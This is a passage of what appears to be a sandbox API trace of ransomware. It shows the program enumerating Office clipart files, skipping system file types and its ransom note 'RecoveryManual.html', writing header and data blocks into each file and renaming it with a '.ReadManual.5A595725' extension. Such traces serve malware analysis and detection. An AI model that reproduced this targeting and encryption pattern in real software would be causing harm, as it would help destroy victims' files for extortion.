returned="PE00833_.WMF" [0271.266] lstrcmpiW (lpString1="PE00833_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.266] StrStrIW (lpFirst="PE00833_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.266] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.266] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.266] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.266] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.266] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.266] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.266] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.266] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.267] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.267] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.267] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.267] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.267] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.267] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.267] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" [0271.267] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.ReadManual.5A595725" [0271.267] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF.ReadManual.5A595725") returned 87 [0271.267] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39193554932) returned 1 [0271.267] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf")) returned 0x20 [0271.267] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.267] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7328) returned 1 [0271.267] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ca0, lpName=0x0) returned 0x184 [0271.267] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.268] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.268] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.270] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.270] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ca0) returned 0x2f0000 [0271.270] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.270] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39193897479) returned 1 [0271.270] CloseHandle (hObject=0x184) returned 1 [0271.270] SetSecurityInfo () returned 0x57 [0271.270] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.270] CloseHandle (hObject=0x194) returned 1 [0271.271] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870c3e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x870c3e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1908, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00898_.WMF", cAlternateFileName="")) returned 1 [0271.271] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00898_.WMF" | out: lpString1="PE00898_.WMF") returned="PE00898_.WMF" [0271.271] lstrcmpiW (lpString1="PE00898_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.271] StrStrIW (lpFirst="PE00898_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.271] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.271] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.271] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.271] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.271] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.271] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.271] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.271] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.271] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.272] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.272] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.272] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.272] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.272] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.272] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" [0271.272] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.ReadManual.5A595725" [0271.272] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.ReadManual.5A595725") returned 87 [0271.272] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39194052775) returned 1 [0271.272] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf")) returned 0x20 [0271.272] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.272] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6408) returned 1 [0271.272] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1908, lpName=0x0) returned 0x184 [0271.272] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.273] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.273] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.275] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.275] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1908) returned 0x2f0000 [0271.275] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.275] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39194390745) returned 1 [0271.275] CloseHandle (hObject=0x184) returned 1 [0271.275] SetSecurityInfo () returned 0x57 [0271.275] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.275] CloseHandle (hObject=0x194) returned 1 [0271.275] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb8f800, ftCreationTime.dwHighDateTime=0x1bd4b1c, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bb8f800, ftLastWriteTime.dwHighDateTime=0x1bd4b1c, nFileSizeHigh=0x0, nFileSizeLow=0x3100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00934_.WMF", cAlternateFileName="")) returned 1 [0271.275] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00934_.WMF" | out: lpString1="PE00934_.WMF") returned="PE00934_.WMF" [0271.276] lstrcmpiW (lpString1="PE00934_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.276] StrStrIW (lpFirst="PE00934_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.276] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.276] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.276] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" [0271.276] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.ReadManual.5A595725" [0271.276] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.ReadManual.5A595725") returned 87 [0271.276] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39194482150) returned 1 [0271.276] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf")) returned 0x20 [0271.276] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.277] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12544) returned 1 [0271.277] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3100, lpName=0x0) returned 0x184 [0271.277] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.277] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.277] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.279] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.279] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3100) returned 0x2f0000 [0271.280] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.280] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39194844257) returned 1 [0271.280] CloseHandle (hObject=0x184) returned 1 [0271.280] SetSecurityInfo () returned 0x57 [0271.280] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.280] CloseHandle (hObject=0x194) returned 1 [0271.280] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca3200, ftCreationTime.dwHighDateTime=0x1bd4b11, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24ca3200, ftLastWriteTime.dwHighDateTime=0x1bd4b11, nFileSizeHigh=0x0, nFileSizeLow=0x2904, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00998_.WMF", cAlternateFileName="")) returned 1 [0271.280] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00998_.WMF" | out: lpString1="PE00998_.WMF") returned="PE00998_.WMF" [0271.280] lstrcmpiW (lpString1="PE00998_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.280] StrStrIW (lpFirst="PE00998_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.280] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.280] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.280] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" [0271.280] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.ReadManual.5A595725" [0271.281] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.ReadManual.5A595725") returned 87 [0271.281] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39194936243) returned 1 [0271.281] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf")) returned 0x20 [0271.281] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.281] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10500) returned 1 [0271.281] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2904, lpName=0x0) returned 0x184 [0271.281] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.282] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.282] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.284] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.284] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2904) returned 0x2f0000 [0271.284] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.284] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39195313534) returned 1 [0271.284] CloseHandle (hObject=0x184) returned 1 [0271.284] SetSecurityInfo () returned 0x57 [0271.285] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.285] CloseHandle (hObject=0x194) returned 1 [0271.285] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c97c200, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c97c200, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE01160_.WMF", cAlternateFileName="")) returned 1 [0271.285] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE01160_.WMF" | out: lpString1="PE01160_.WMF") returned="PE01160_.WMF" [0271.285] lstrcmpiW (lpString1="PE01160_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.285] StrStrIW (lpFirst="PE01160_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.285] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.285] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.285] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" [0271.285] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.ReadManual.5A595725" [0271.285] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.ReadManual.5A595725") returned 87 [0271.285] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39195404857) returned 1 [0271.285] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf")) returned 0x20 [0271.286] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.286] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2436) returned 1 [0271.286] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x984, lpName=0x0) returned 0x184 [0271.286] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.287] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.287] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.288] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.288] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x984) returned 0x2f0000 [0271.288] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.289] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39195731283) returned 1 [0271.289] CloseHandle (hObject=0x184) returned 1 [0271.289] SetSecurityInfo () returned 0x57 [0271.289] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.289] CloseHandle (hObject=0x194) returned 1 [0271.289] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efa1c00, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5efa1c00, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE01172_.WMF", cAlternateFileName="")) returned 1 [0271.289] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE01172_.WMF" | out: lpString1="PE01172_.WMF") returned="PE01172_.WMF" [0271.289] lstrcmpiW (lpString1="PE01172_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.289] StrStrIW (lpFirst="PE01172_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.289] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.289] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.289] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" [0271.289] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF", 